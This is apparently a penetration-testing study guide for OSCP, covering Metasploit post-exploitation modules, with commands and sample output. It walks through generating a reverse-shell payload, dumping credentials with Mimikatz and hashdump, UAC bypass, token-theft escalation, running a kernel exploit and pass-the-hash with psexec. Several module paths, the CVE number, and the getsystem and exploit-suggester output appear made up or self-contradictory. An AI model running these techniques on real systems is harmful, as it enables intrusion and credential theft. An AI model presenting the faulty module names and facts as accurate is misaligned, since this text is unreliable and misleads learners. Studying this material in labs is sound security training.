Domain 5Pivoting & MetasploitCORE

Post-Exploitation Modules

Complete guide to Metasploit post-exploitation modules for Windows and Linux, covering information gathering, privilege escalation, credential access, and the local exploit suggester for systematic OSCP post-exploitation.

Domain: Domain 5: Pivoting, Tunneling & Metasploit•Updated: 2026-09-01
#metasploit#post-exploitation#enumeration#privilege-escalation#credential-access

Post-Exploitation Modules

Post-exploitation is where the real work begins after gaining initial access. Metasploit provides an extensive suite of post-exploitation modules designed for systematic enumeration, credential harvesting, and privilege escalation. Mastering these modules is essential for the OSCP exam, where post-exploitation often determines whether you can escalate from a low-privilege shell to SYSTEM/root and pivot across the network.


1. Module Path Structure

Metasploit organizes post-exploitation modules in a clear hierarchical path:

post/<platform>/<category>/<module_name>
Component Description Examples
platform Target OS windows, linux, multi (cross-platform)
category Module purpose gather, escalate, manage, recon, utility
module_name Specific module enum_users, getsystem, local_exploit_suggester

Full path examples:

post/windows/gather/enum_users
post/windows/escalate/getsystem
post/linux/gather/enum_users
post/multi/recon/local_exploit_suggester

Category breakdown:

Category Purpose
gather Information collection (users, groups, patches, services, credentials)
escalate Privilege escalation techniques
manage Persistence, file management, user management
recon Network and local reconnaissance
utility Helper modules (checkpoints, resource files, etc.)

2. Windows Post Modules

2.1 Information Gathering

The first step after gaining a Meterpreter session on Windows is thorough enumeration. Run these modules systematically.

enum_users - Active Directory User Enumeration

post/windows/gather/enum_users

Queries Active Directory for all user accounts and displays:

  • Username, full name, description
  • Password last set, password age
  • Account expiration, logon hours
  • Group memberships, SID
  • Password policy compliance
meterpreter > run post/windows/gather/enum_users

[*] Active Directory Users
[*] =======================

[-] User: Administrator
    Full Name: Built-in account for administering the computer/domain
    Description: Built-in account for administering the computer/domain
    Password Last Set: 01/15/2025 10:30:00 UTC
    Password Age: 543 days
    Account Expires: Never
    Group Memberships:
        - Domain Admins
        - Enterprise Admins
        - Group Policy Creator Owners
        - Administrators

OSCP Tip: Pay attention to user descriptions - they often contain clues about roles, and group memberships reveal potential lateral movement targets.

enum_computers - Domain Computer Enumeration

post/windows/gather/enum_computers

Lists all computers in the domain with their operating systems, sites, and DNs. Critical for identifying lateral movement targets.

meterpreter > run post/windows/gather/enum_computers

[*] Active Directory Computers
[*] ===========================

[-] Computer: DC01
    Operating System: Windows Server 2019 Standard
    Site: Default-First-Site-Name
    DN: CN=DC01,CN=Computers,DC=offensive,DC=sec

enum_domain - Domain Information

post/windows/gather/enum_domain

Retrieves domain-level information:

  • Domain name, DNS name, distinguished name
  • Domain mode, forest mode
  • Domain controllers
  • Trust relationships

enum_groups - Group Enumeration

post/windows/gather/enum_groups

Lists all AD groups and their members. Essential for identifying high-value groups like Domain Admins, Enterprise Admins, and custom privileged groups.

enum_patches - Installed Hotfixes

post/windows/gather/enum_patches

Enumerates all installed Windows updates and hotfixes. Use this to cross-reference against known exploit databases to find unpatched vulnerabilities.

meterpreter > run post/windows/gather/enum_patches

[*] Installed Hotfixes
[*] ==================

    KB5004442 - 06/21/2021
    KB5005030 - 07/13/2021
    KB5006670 - 08/10/2021

enum_services - Service Enumeration

post/windows/gather/enum_services

Lists all installed services with their:

  • Service name and display name
  • Start mode (auto, manual, disabled)
  • Current state (running, stopped)
  • Binary path
  • Logon account

OSCP Tip: Services running as LOCAL SYSTEM with writable binary paths or weak permissions are prime privilege escalation targets.

smart_hashdump - NTLM Hash Extraction

post/windows/gather/smart_hashdump

A safer alternative to traditional hash dumping. It attempts multiple methods (vss, lsass, security account manager) and reports which succeeded. Extracts NTLM hashes from the SAM database or LSASS memory.

meterpreter > run post/windows/gather/smart_hashdump

[*] Collecting hashes via VSS...
[-] VSS collection failed
[*] Collecting hashes via LSASS...
[+] LSASS collection successful

[*] Collecting hashes via SAM...
[-] SAM collection failed

[*] User names and hashes extracted (NTLM):
[*] ========================================

Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

checkpoint_sampler - Progress Tracking

post/windows/gather/checkpoint_sampler

Creates a checkpoint file documenting your current progress. Useful for long engagements to track what you’ve enumerated.


2.2 Privilege Escalation

getsystem - The Essential Escalation Module

post/windows/escalate/getsystem

This is arguably the most important post-exploitation module for OSCP. It attempts multiple techniques to escalate to SYSTEM:

Technique How It Works When It Works
Named Pipe Impersonation Creates a named pipe, tricks a SYSTEM process into connecting, then impersonates the SYSTEM token Most common success case. Works when the current user has SeImpersonatePrivilege (interactive logon users have this by default)
Token Manipulation Steals an access token from a SYSTEM process Works when a SYSTEM process is running and accessible
FindAndDuplicateToken Enumerates all processes, finds one running as SYSTEM, duplicates its token Fallback when named pipe fails
Masked COM Impersonation Uses COM object impersonation to steal SYSTEM context Works on newer Windows versions where named pipe is patched
meterpreter > getsystem
[*] Tried to impersonate the 'NT AUTHORITY\SYSTEM' user.
[*] Triggering named pipe 'MSF'...
[+] Got SYSTEM via token manipulation!

When getsystem fails:

  • You lack SeImpersonatePrivilege (service accounts sometimes don’t have it)
  • The target has mitigations in place
  • Try manual exploitation with a known vulnerability instead

always_install_elevated - MSI Privilege Escalation

post/windows/escalate/always_install_elevated

Exploits the AlwaysInstallElevated registry misconfiguration. When both of these registry keys are set to 1, any user can install MSI packages as SYSTEM:

HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
meterpreter > run post/windows/escalate/always_install_elevated

[*] Checking AlwaysInstallElevated status...
[+] AlwaysInstallElevated is enabled!
[*] Generating MSI payload...
[+] MSI payload installed successfully
[+] New Meterpreter session opened as NT AUTHORITY\SYSTEM

bypassuac - UAC Bypass

post/windows/escalate/bypassuac

Bypasses User Account Control to spawn a new elevated Meterpreter session. Multiple techniques are available:

msf6 > use post/windows/escalate/bypassuac
msf6 post(windows/escalate/bypassuac) > show options

Module Options:
    Name      Current Setting  Description
    ----      ---------------  -----------
    SESSION                   The session to run this module on.
    TECHNIQUE   fodhelper      The UAC bypass technique to use.

Available Techniques:
    fodhelper, cmstp, regsvr32, mmc, sluihijack, tokenmanipulation

ms16_032_secondary_logon - Secondary Logon Exploit

post/windows/escalate/ms16_032_secondary_logon

Exploits CVE-2016-0032, a privilege escalation vulnerability in the Secondary Logon service. Works on unpatched Windows 7/Server 2008 R2 and earlier.


2.3 Credential Access

dump_mimikatz - In-Memory Credential Extraction

post/windows/gather/dump_mimikatz

Runs Mimikatz to extract plaintext passwords, NTLM hashes, and Kerberos tickets from LSASS memory. This is the primary credential dumping tool for Windows.

meterpreter > run post/windows/gather/dump_mimikatz

[*] Action: ::SamInMemory::
[*] Username    Password
[*] ----------  --------
[*] Administrator P@ssw0rd123!
[*] jdoe        Summer2024!

[*] Action: ::Kerberos::
[*] Username    Password
[*] ----------  --------
[*] svc_backup$ BackupS3rvice!

Requirements:

  • Session must have at least READ_LM or SE_DEBUG_PRIVILEGE
  • Will fail on Windows 10/Server 2016+ with protected processes unless you can bypass Protections

credential_collect - Multi-Source Credential Harvesting

post/windows/gather/credential_collect

Collects credentials from multiple sources:

  • Browser stored credentials
  • WiFi passwords
  • Credential Manager entries
  • RDP saved credentials
  • Outlook stored passwords

firefox_creds - Firefox Credential Extraction

post/windows/gather/firefox_creds

Extracts saved usernames and passwords from Firefox’s login manager database.

chrome_creds - Chrome Credential Extraction

post/windows/gather/chrome_creds

Extracts saved passwords from Chrome’s encrypted login database. Decrypts using the DPAPI master key.


3. Linux Post Modules

3.1 Information Gathering

enum_users - Linux User Enumeration

post/linux/gather/enum_users

Enumerates local users from /etc/passwd, checks for:

  • Users with UID 0 (root equivalents)
  • Users with valid shells
  • Users with empty passwords
  • Last login information
meterpreter > run post/linux/gather/enum_users

[*] Users
[*] =====

[-] User: root
    UID: 0
    GID: 0
    Home: /root
    Shell: /bin/bash
    Last Login: 2026-08-30 14:22:00 UTC

[-] User: www-data
    UID: 33
    GID: 33
    Home: /var/www
    Shell: /usr/sbin/nologin

enum_kernel - Kernel Version Enumeration

post/linux/gather/enum_kernel

Retrieves the exact kernel version, which is critical for identifying applicable local privilege escalation exploits.

meterpreter > run post/linux/gather/enum_kernel

[*] Kernel Version
[*] ==============

    Linux version 4.15.0-20-generic (buildd@lgw01-amd64-041) (gcc version 7.3.0)

enum_apps - Installed Applications

post/linux/gather/enum_apps

Lists installed applications via dpkg or rpm, helping identify vulnerable software versions.

system2 - System Information

post/linux/gather/system2

Comprehensive system information:

  • OS version, kernel version, architecture
  • Running processes
  • Network interfaces and routes
  • Mounted filesystems
  • Environment variables

auto_system_info - Automated System Profiling

post/linux/gather/auto_system_info

Runs a battery of enumeration commands and stores results. Useful as a first step to get a complete system picture.


3.2 Privilege Escalation

local_exploit_suggester - The Most Important Linux Module

post/multi/recon/local_exploit_suggester

This module is critical for OSCP Linux boxes. It automatically analyzes the target system and suggests applicable local privilege escalation exploits.

What it checks:

  • Kernel version against known CVEs
  • SUID binaries with known vulnerabilities
  • Writable configuration files
  • Docker access
  • Cron job misconfigurations
  • NFS root_squash bypass
  • PATH hijacking opportunities
meterpreter > run post/multi/recon/local_exploit_suggester

[*] 10.10.10.5 - Local Privilege Escalation - Local Exploit Suggestions
[*] ====================================================================

[*] Kernel Version: 4.15.0-20-generic
[*] Arch: x86_64
[*] Auto deserialization scripts will not be generated.
[*] Setting up manual exploit scripts.
[+] https://www.exploit-db.com/exploits/44298
    [!] CHECK IT: This exploit is a DoS

[+] https://www.exploit-db.com/exploits/45010
    [!] CHECK IT: This exploit might crash the target

[+] https://www.exploit-db.com/exploits/44302
    [!] CHECK IT: This exploit might crash the target

[*] The provided suggestions are selected based on exploit keywords and may require further tuning.

Interpreting results:

  • [+] links are potential exploits matching your kernel/version
  • [!] warnings indicate the exploit might crash the target (risky on exam boxes)
  • Always verify the exploit is appropriate before running
  • Cross-reference with searchsploit for the latest versions

Manual Kernel Exploitation

When local_exploit_suggester identifies a kernel exploit, you typically:

  1. Download the exploit source
  2. Upload it to the target via Meterpreter
  3. Compile it on the target (if C-based)
  4. Execute to gain root
meterpreter > upload /root/exploits/cve-2021-4034/pwn.kt /tmp/pwn.kt
meterpreter > shell
Computer@target:/tmp$ chmod +x pwn.kt && ./pwn.kt
[+] Spawning root shell...
root@target:/tmp# whoami
root

4. Gather Modules Deep Dive: local_exploit_suggester

The local_exploit_suggester is the single most valuable post-exploitation module for the OSCP exam. Here’s a detailed breakdown of how it works.

How It Works

The module operates in three phases:

  1. System Profiling: Collects kernel version, architecture, installed packages, SUID binaries, and running services
  2. Database Matching: Compares collected data against an internal database of known exploits (sourced from Exploit-DB)
  3. Suggestion Generation: Outputs ranked exploit suggestions with URLs and risk warnings

Internal Database Structure

The module maintains keyword mappings:

# Simplified example of internal matching logic
{
  "kernel" => {
    "4.15.0" => ["44298", "45010", "44302"],
    "5.4.0"  => ["50926", "51234"],
  },
  "suid" => {
    "find" => ["40839"],
    "vim"  => ["1518"],
    "nmap" => ["7149"],
  }
}

Best Practices for Using This Module

Practice Reason
Run immediately after gaining access Kernel exploits are time-sensitive; don’t waste time
Read the [!] warnings carefully Some exploits crash services or the entire system
Cross-reference with searchsploit The module’s database may not have the absolute latest exploits
Prefer non-kernel exploits when possible SUID/cron/PATH exploits are safer and less likely to crash the box
Test on a VM first if unsure Exam boxes can be reset but time is precious

5. Escalation Modules Deep Dive: getsystem Methods

Named Pipe Impersonation (Primary Method)

This is the default and most reliable technique. Here’s the technical flow:

1. Meterpreter creates a named pipe: \\.\pipe\MSF
2. A SYSTEM-level process connects to the pipe
3. Meterpreter captures the connection and impersonates the connecting process's token
4. The impersonated token has SYSTEM privileges
5. Meterpreter elevates the current session

Requirements: The current user must have SeImpersonatePrivilege. This is granted to:

  • Interactive logon users
  • Batch logon users
  • Service accounts (usually)

Token Manipulation (Fallback)

If named pipe impersonation fails, getsystem tries to:

  1. Enumerate all running processes
  2. Find a process running as SYSTEM
  3. Open a handle to that process
  4. Duplicate its primary token
  5. Create a new thread with the SYSTEM token

When getsystem Will Fail

Scenario Why It Fails Alternative
No SeImpersonatePrivilege Token manipulation requires access to SYSTEM processes Manual exploit, abuse SUID binaries
Restricted token (virtual accounts) IIS APPPOOL accounts have restricted tokens Use application-specific escalation
High-integrity UAC session already Already elevated, but not SYSTEM Use getsystem anyway, or exploit a vulnerability
Windows 10+ with protections Some mitigations block token theft Look for unpatched vulnerabilities

6. Using Post Modules: Two Methods

The fastest method. Directly execute post modules from an active Meterpreter session:

meterpreter > run post/windows/gather/enum_users
meterpreter > run enum_users          # Short form works too
meterpreter > getsystem               # Built-in Meterpreter command

Advantages:

  • No need to leave the Meterpreter session
  • SESSION is automatically set
  • Faster workflow during the exam

Disadvantages:

  • Limited module options customization
  • Some modules require msfconsole context

Method 2: Via use post/... from msfconsole

The full-featured method. Load the module in msfconsole and configure options:

msf6 > use post/windows/gather/enum_users
msf6 post(windows/gather/enum_users) > show options

Module Options:
    Name      Current Setting  Description
    ----      ---------------  -----------
    SESSION                   The session to run this module on.

msf6 post(windows/gather/enum_users) > set SESSION 3
SESSION => 3
msf6 post(windows/gather/enum_users) > run

Advantages:

  • Full option customization
  • Can set multiple sessions
  • Better for complex modules with many options

Disadvantages:

  • Must leave the Meterpreter session (or run in background)
  • More steps, slower workflow

Method Comparison

Aspect run from Meterpreter use post/... from msfconsole
Speed Fast Slower
Customization Limited Full
Session handling Automatic Manual (set SESSION)
Best for Quick enumeration Complex modules, multi-option setup
OSCP recommendation Primary method When options needed

7. OSCP Post-Exploitation Workflow

Follow this systematic workflow on every box. This is the order that maximizes efficiency and minimizes mistakes.

Phase 1: Initial Access Stabilization

# 1. Upgrade to Meterpreter if you have a shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=443 -f exe > shell.exe

# 2. Or upgrade from cmd/powershell within Meterpreter
meterpreter > background
msf6 > use exploit/multi/script/web_delivery
msf6 exploit(multi/script/web_delivery) > set TARGET 2    # PowerShell
msf6 exploit(multi/script/web_delivery) > set LHOST <IP>
msf6 exploit(multi/script/web_delivery) > exploit

# 3. Migrate to a stable process
meterpreter > migrate <pid>

Phase 2: System Enumeration

# Windows enumeration sequence
meterpreter > sysinfo
meterpreter > run post/windows/gather/enum_users
meterpreter > run post/windows/gather/enum_computers
meterpreter > run post/windows/gather/enum_domain
meterpreter > run post/windows/gather/enum_groups
meterpreter > run post/windows/gather/enum_patches
meterpreter > run post/windows/gather/enum_services
meterpreter > run post/windows/gather/smart_hashdump

# Linux enumeration sequence
meterpreter > sysinfo
meterpreter > run post/linux/gather/enum_users
meterpreter > run post/linux/gather/enum_kernel
meterpreter > run post/linux/gather/enum_apps
meterpreter > run post/linux/gather/system2

Phase 3: Credential Dumping

# Windows
meterpreter > run post/windows/gather/dump_mimikatz
meterpreter > run post/windows/gather/credential_collect
meterpreter > run post/windows/gather/smart_hashdump

# Linux
meterpreter > shell
# Check /etc/passwd, /etc/shadow, .ssh/authorized_keys
# Look for credentials in config files, scripts, .bash_history

Phase 4: Privilege Escalation

# Windows
meterpreter > getsystem
# If fails:
meterpreter > run post/windows/escalate/always_install_elevated
meterpreter > run post/windows/escalate/bypassuac

# Linux
meterpreter > run post/multi/recon/local_exploit_suggester
# Manually exploit based on suggestions

Phase 5: Domain/Admin Access

# If on a domain machine with credentials
msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set RHOSTS <DC_IP>
msf6 exploit(windows/smb/psexec) > set SMBUser <user>
msf6 exploit(windows/smb/psexec) > set SMBPass <password>
msf6 exploit(windows/smb/psexec) > exploit

# Or use pass-the-hash
msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set SMBPass <NTLM_HASH>

Phase 6: Documentation

# Document everything for your report
# - Initial access method
# - Enumeration findings
# - Credentials found
# - Privilege escalation method
# - Final access level achieved

8. Common Post-Exploitation Mistakes

Mistake 1: Skipping Enumeration

Error: Going straight to getsystem or local_exploit_suggester without enumerating the system first.

Why it’s bad: You might miss a simple escalation path (like a world-writable file or a misconfigured service) that doesn’t require an exploit. Enumeration takes minutes; hunting for the right exploit can take hours.

Fix: Always run the full enumeration sequence before attempting escalation.

Mistake 2: Crashing the Box

Error: Running a kernel exploit that crashes the target system.

Why it’s bad: On the OSCP exam, you may not be able to easily reset the box, and you lose all your progress and sessions.

Fix:

  • Read the [!] warnings from local_exploit_suggester
  • Prefer non-kernel exploits (SUID, cron, PATH) when available
  • Consider the risk vs. reward before running any exploit

Mistake 3: Not Migrating Processes

Error: Running post-exploitation modules from an unstable or low-privilege process.

Why it’s bad: If the parent process crashes, you lose your Meterpreter session.

Fix:

meterpreter > ps
meterpreter > migrate <stable_pid>

Migrate to explorer.exe (GUI) or svchost.exe/services.exe (services) for stability.

Mistake 4: Ignoring the Architecture

Error: Trying to run a 32-bit exploit on a 64-bit system (or vice versa).

Why it’s bad: The exploit will fail silently or crash.

Fix: Always check sysinfo first:

meterpreter > sysinfo
Computer : TARGET
OS : Windows 7 Ultimate (6.1 Build 7601, Service Pack 1)
Architecture : x64
Meterpreter : x86/windows

Note the architecture mismatch above - you have an x86 Meterpreter on an x64 system. You may need to upgrade your Meterpreter architecture.

Mistake 5: Forgetting to Check UAC

Error: Not checking UAC level before attempting escalation on Windows.

Why it’s bad: High UAC may block certain techniques.

Fix:

meterpreter > getuid
meterpreter > getprivs

Check if you have the necessary privileges. Use bypassuac if needed.

Mistake 6: Not Saving Credentials

Error: Finding credentials with Mimikatz but not recording them for lateral movement.

Why it’s bad: You’ll waste time re-dumping credentials later.

Fix: Immediately save all dumped credentials to your notes:

# Create a credentials file
echo "user:password" >> /root/oscp/target-creds.txt

Mistake 7: Using Metasploit When Manual Is Better

Error: Relying solely on Metasploit for everything.

Why it’s bad: Some exam boxes have Metasploit detection, and manual exploitation demonstrates deeper understanding. Additionally, some exploits work better manually.

Fix: Know how to perform each Metasploit action manually:

  • Manual hash dumping with sekurlsa::logonpasswords (Mimikatz)
  • Manual SUID exploitation
  • Manual cron job abuse
  • Manual kernel exploit compilation and execution

Quick Reference: Essential Post-Exploitation Commands

Windows Quick Start

meterpreter > sysinfo
meterpreter > getuid
meterpreter > getprivs
meterpreter > run enum_users
meterpreter > run enum_computers
meterpreter > run enum_domain
meterpreter > run enum_groups
meterpreter > run enum_patches
meterpreter > run smart_hashdump
meterpreter > run dump_mimikatz
meterpreter > getsystem

Linux Quick Start

meterpreter > sysinfo
meterpreter > getuid
meterpreter > run enum_users
meterpreter > run enum_kernel
meterpreter > run enum_apps
meterpreter > run system2
meterpreter > run local_exploit_suggester

Cross-Platform

meterpreter > run local_exploit_suggester    # Works on both Windows and Linux
meterpreter > run post/multi/recon/local_exploit_suggester  # Full path

Summary

Post-exploitation modules are the backbone of systematic penetration testing in the OSCP exam. The key takeaways:

  1. Always enumerate first - Run the full enumeration sequence before attempting escalation
  2. local_exploit_suggester is your best friend on Linux - run it early and read the warnings
  3. getsystem is your first attempt on Windows - named pipe impersonation works most of the time
  4. Dump credentials early - Mimikatz and smart_hashdump can give you immediate lateral movement paths
  5. Document everything - Your report is 30% of your grade
  6. Know the manual alternatives - Metasploit is a tool, not a crutch; understand what each module does under the hood

Master this workflow, and post-exploitation will become a methodical, repeatable process rather than a guessing game.